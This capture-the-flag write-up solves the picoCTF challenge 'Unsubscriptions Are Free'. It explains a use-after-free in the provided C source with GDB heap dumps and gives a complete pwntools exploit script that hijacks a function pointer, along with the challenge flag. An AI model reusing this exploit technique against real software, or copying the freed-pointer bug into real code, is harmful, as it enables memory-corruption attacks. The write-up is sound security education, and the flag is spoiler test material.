Unsubscriptions Are Free
10 minutes to read
We are given a 32-bit binary called vuln:
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
We also have the C source code:
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20
typedef struct {
  uintptr_t (*whatToDo)();
  char *username;
} cmd;
char choice;
cmd *user;
void hahaexploitgobrrr() {
  char buf[FLAG_BUFFER];
  FILE *f = fopen("flag.txt", "r");
  fgets(buf, FLAG_BUFFER, f);
  fprintf(stdout, "%s\n", buf);
  fflush(stdout);
}
char* getsline() {
  getchar();
  char *line = malloc(100), *linep = line;
  size_t lenmax = 100, len = lenmax;
  int c;
  if (line == NULL)
    return NULL;
  for (;;) {
    c = fgetc(stdin);
    if (c == EOF)
      break;
    if (--len == 0) {
      len = lenmax;
      char *linen = realloc(linep, lenmax *= 2);
      if (linen == NULL) {
        free(linep);
        return NULL;
      }
      line = linen + (line - linep);
      linep = linen;
    }
    if ((*line++ = c) == '\n')
      break;
  }
  *line = '\0';
  return linep;
}
void doProcess(cmd* obj) {
  (*obj->whatToDo)();
}
void s() {
  printf("OOP! Memory leak...%p\n", hahaexploitgobrrr);
  puts("Thanks for subsribing! I really recommend becoming a premium member!");
}
void p() {
  puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}
void m() {
  puts("Account created.");
}
void leaveMessage() {
  puts("I only read premium member messages but you can ");
  puts("try anyways:");
  char* msg = (char*) malloc(8);
  read(0, msg, 8);
}
void i() {
  char response;
  puts("You're leaving already(Y/N)?");
  scanf(" %c", &response);
  if (toupper(response) == 'Y') {
    puts("Bye!");
    free(user);
  } else {
    puts("Ok. Get premium membership please!");
  }
}
void printMenu() {
  puts("Welcome to my stream! ^W^");
  puts("==========================");
  puts("(S)ubscribe to my channel");
  puts("(I)nquire about account deletion");
  puts("(M)ake an Twixer account");
  puts("(P)ay for premium membership");
  puts("(l)eave a message(with or without logging in)");
  puts("(e)xit");
}
void processInput() {
  scanf(" %c", &choice);
  choice = toupper(choice);
  switch (choice) {
  case 'S':
    if (user) {
      user->whatToDo = (void*) s;
    } else {
      puts("Not logged in!");
    }
    break;
  case 'P':
    user->whatToDo = (void*) p;
    break;
  case 'I':
    user->whatToDo = (void*) i;
    break;
  case 'M':
    user->whatToDo = (void*) m;
    puts("===========================");
    puts("Registration: Welcome to Twixer!");
    puts("Enter your username: ");
    user->username = getsline();
    break;
  case 'L':
    leaveMessage();
    break;
  case 'E':
    exit(0);
  default:
    puts("Invalid option!");
    exit(1);
  }
}
int main() {
  setbuf(stdout, NULL);
  user = (cmd*) malloc(sizeof(user));
  while (1) {
    printMenu();
    processInput();
    doProcess(user);
  }
  return 0;
}
Basically, the program has four functionalities:
- Leak the address of the function 
hahaexploitgobrrr(S) - Add an account (M)
 - Delete an account (I)
 - Leave a message (L)
 
The key here is that the user variable can be reset using free, but the pointer to the variable is not changed. Moreover, the message (L) is saved again in the heap calling malloc.
Hence, if we create an account (M), then we delete it (I) using free and after that we send a message (L) using malloc, the pointer to user will point to the message, because malloc will reuse the address of recently released memory.
The user structure is made of:
typedef struct {
  uintptr_t (*whatToDo)();
  char *username;
} cmd;
It has a pointer to a function (whatToDo) and a pointer to a string (username), so the size of the structure is 8 bytes.
Depending on the input we provide, the pointer of the function changes to s, i, m, p or leaveMessage. Then, the function doProcess is called:
void doProcess(cmd* obj) {
  (*obj->whatToDo)();
}
Which calls the function pointed by whatToDo.
All of the process is executed inside an endless loop:
int main() {
  setbuf(stdout, NULL);
  user = (cmd*) malloc(sizeof(user));
  while (1) {
    printMenu();
    processInput();
    doProcess(user);
  }
  return 0;
}
Let’s recall the strategy:
- Leak the address of the function 
hahaexploitgobrrr(S) - Create an account (M)
 - Delete the account (I)
 - Leave a message (L) to overwrite 
whatToDowith the address ofhahaexploitgobrrr 
These are the involved functions:
void s() {
  printf("OOP! Memory leak...%p\n", hahaexploitgobrrr);
  puts("Thanks for subsribing! I really recommend becoming a premium member!");
}
void leaveMessage() {
  puts("I only read premium member messages but you can ");
  puts("try anyways:");
  char* msg = (char*) malloc(8);
  read(0, msg, 8);
}
void i() {
  char response;
  puts("You're leaving already(Y/N)?");
  scanf(" %c", &response);
  if (toupper(response) == 'Y') {
    puts("Bye!");
    free(user);
  } else {
    puts("Ok. Get premium membership please!");
  }
}
As shown above, s just prints the address of hahaexploitgobrrr:
$ ./vuln
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
S
OOP! Memory leak...0x80487d6
Thanks for subsribing! I really recommend becoming a premium member!
Then, leaveMessage reads 8 bytes and allocates them in the heap using malloc. And finally, i removes the memory allocation for the user structure using free (but the pointer and the data is kept).
The process of creating an account is inside the corresponding case of processInput:
case 'M':
  user->whatToDo = (void*) m;
  puts("===========================");
  puts("Registration: Welcome to Twixer!");
  puts("Enter your username: ");
  user->username = getsline();
  break;
The function getsline can take a lot of user input, but I reckon there is no overflow vulnerability here.
Let’s test our idea with GDB (skipping the address leakage):
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gef➤  break printMenu
Breakpoint 1 at 0x8048b31
gef➤  run
Starting program: ./vuln
Breakpoint 1, 0x8048b31 in printMenu ()
gef➤  continue
Continuing.
Starting program: ./vuln
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
M
===========================
Registration: Welcome to Twixer!
Enter your username:
AAA
Account created.
Breakpoint 1, 0x8048b31 in printMenu ()
Let’s check the address of the heap space:
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start      End        Offset     Perm Path
0x08048000 0x0804a000 0x00000000 r-x ./vuln
0x0804a000 0x0804b000 0x00001000 r-- ./vuln
0x0804b000 0x0804c000 0x00002000 rw- ./vuln
0x0804c000 0x0806e000 0x00000000 rw- [heap]
0xf7dcd000 0xf7dea000 0x00000000 r-- /usr/lib32/libc-2.31.so
0xf7dea000 0xf7f42000 0x0001d000 r-x /usr/lib32/libc-2.31.so
0xf7f42000 0xf7fb2000 0x00175000 r-- /usr/lib32/libc-2.31.so
0xf7fb2000 0xf7fb4000 0x001e4000 r-- /usr/lib32/libc-2.31.so
0xf7fb4000 0xf7fb6000 0x001e6000 rw- /usr/lib32/libc-2.31.so
0xf7fb6000 0xf7fb8000 0x00000000 rw-
0xf7fc9000 0xf7fcb000 0x00000000 rw-
0xf7fcb000 0xf7fcf000 0x00000000 r-- [vvar]
0xf7fcf000 0xf7fd1000 0x00000000 r-x [vdso]
0xf7fd1000 0xf7fd2000 0x00000000 r-- /usr/lib32/ld-2.31.so
0xf7fd2000 0xf7ff0000 0x00001000 r-x /usr/lib32/ld-2.31.so
0xf7ff0000 0xf7ffb000 0x0001f000 r-- /usr/lib32/ld-2.31.so
0xf7ffc000 0xf7ffd000 0x0002a000 r-- /usr/lib32/ld-2.31.so
0xf7ffd000 0xf7ffe000 0x0002b000 rw- /usr/lib32/ld-2.31.so
0xfffdd000 0xffffe000 0x00000000 rw- [stack]
Now we can examine some values on the heap:
gef➤  x/120x 0x0804c000
0x804c000:	0x00000000	0x00000000	0x00000000	0x00000191
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c080:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c090:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c100:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c110:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c120:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c130:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c140:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c150:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c160:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c170:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c180:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c190:	0x00000000	0x00000000	0x00000000	0x00000011
0x804c1a0:	0x080489f6	0x0804c5c0	0x00000000	0x00000411
0x804c1b0:	0x0a414141	0x00000000	0x00000000	0x00000000
0x804c1c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c1d0:	0x00000000	0x00000000	0x00000000	0x00000000
Notice how 0x080489f6 is the address of m:
gef➤  x 0x080489f6
0x80489f6 <m>:	0x53e58955
And 0x0804c5c0 is the address of the string AAA:
gef➤  x/16x 0x0804c5c0 - 0x10
0x804c5b0:	0x00000000	0x00000000	0x00000000	0x00000071
0x804c5c0:	0x0a414141	0x00000000	0x00000000	0x00000000
0x804c5d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c5e0:	0x00000000	0x00000000	0x00000000	0x00000000
Moreover, we can find the string AAA right below the address of m, but let’s leave it there.
Now, we delete the account using free:
gef➤  continue
Continuing.
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
I
You're leaving already(Y/N)?
Y
Bye!
Breakpoint 1, 0x8048b31 in printMenu ()
Let’s check the heap again:
gef➤  x/120x 0x0804c000
0x804c000:	0x00000000	0x00000000	0x00000000	0x00000191
0x804c010:	0x00000001	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c080:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c090:	0x0804c1a0	0x00000000	0x00000000	0x00000000
0x804c0a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c100:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c110:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c120:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c130:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c140:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c150:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c160:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c170:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c180:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c190:	0x00000000	0x00000000	0x00000000	0x00000011
0x804c1a0:	0x00000000	0x0804c010	0x00000000	0x00000411
0x804c1b0:	0x0a410a59	0x00000000	0x00000000	0x00000000
0x804c1c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c1d0:	0x00000000	0x00000000	0x00000000	0x00000000
If you look this heap status compared to the previous one, you will notice these diferences:
- There is a value 
0x00000001at address0x804c010 - There is a value 
0x0804c1a0at address0x804c090. This value is the pointer to theuservariable (it is also on the heap) - There is a value 
0x00000000at address0x804c1a0, which is the value of the pointerwhatToDo(now it is empty) - There is a value 
0x0804c010at address0x804c1a0, which is the pointer to theusername. But there is no string here, it is pointing to the address on the first bullet point: 
gef➤  x/16x 0x0804c010 - 0x10
0x804c000:	0x00000000	0x00000000	0x00000000	0x00000191
0x804c010:	0x00000001	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c030:	0x00000000	0x00000000	0x00000000	0x00000000
Let’s continue and leave a message:
gef➤  continue
Continuing.
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
L
I only read premium member messages but you can
try anyways:
AAAABBB
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Alright, we have redirected code execution and we have control over the next address to call (in this case AAAA or 0x41414141).
Let’s examine the heap one more time:
gef➤  x/120x 0x0804c000
0x804c000:	0x00000000	0x00000000	0x00000000	0x00000191
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c080:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c090:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c100:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c110:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c120:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c130:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c140:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c150:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c160:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c170:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c180:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c190:	0x00000000	0x00000000	0x00000000	0x00000011
0x804c1a0:	0x41414141	0x0a424242	0x00000000	0x00000411
0x804c1b0:	0x0a410a6c	0x00000000	0x00000000	0x00000000
0x804c1c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c1d0:	0x00000000	0x00000000	0x00000000	0x00000000
Do you know what has happened? The leaveMessage function has called malloc to allocate memory for our 8-byte message (AAAABBB plus a new line character). However, we previously deleted the allocation for the user structure using free. The behavior of free is not to clean up the memory space (that would be memset), but to mark the address of memory as free, so that it can be reused and overwritten later.
The vulnerability here is called Use After Free, which is self-explanatory. The address of memory is set to free, and the next call to malloc will allocate memory on that recently released address. Hence, we are overwriting 8 bytes from the original user structure, and therefore we can write the address we want at whatToDo (namely, the address of hahaexploitgobrrr).
This is a Python script using pwntools to obtain the flag:
#!/usr/bin/env python3
from pwn import context, log, p32, remote, sys
context.binary = 'vuln'
def get_process():
    if len(sys.argv) == 1:
        return context.binary.process()
    host, port = sys.argv[1], sys.argv[2]
    return remote(host, int(port))
def main():
    p = get_process()
    p.sendlineafter(b'(e)xit\n', b'S')
    p.recvuntil(b'OOP! Memory leak...')
    leak = int(p.recvline().decode().strip(), 16)
    p.sendlineafter(b'(e)xit\n', b'M')
    p.sendlineafter(b'Enter your username: \n', b'AAA')
    p.sendlineafter(b'(e)xit\n', b'I')
    p.sendlineafter(b'(Y/N)?\n', b'Y')
    p.sendlineafter(b'(e)xit\n', b'L')
    p.sendlineafter(b'try anyways:\n', p32(leak))
    flag = p.recvline().decode().strip()
    p.close()
    log.success(f'Flag: {flag}')
if __name__ == '__main__':
    main()
$ python3 solve.py mercury.picoctf.net 4593
[*] './vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to mercury.picoctf.net on port 4593: Done
[*] Closed connection to mercury.picoctf.net port 4593
[+] Flag: picoCTF{d0ubl3_j30p4rdy_ba307b82}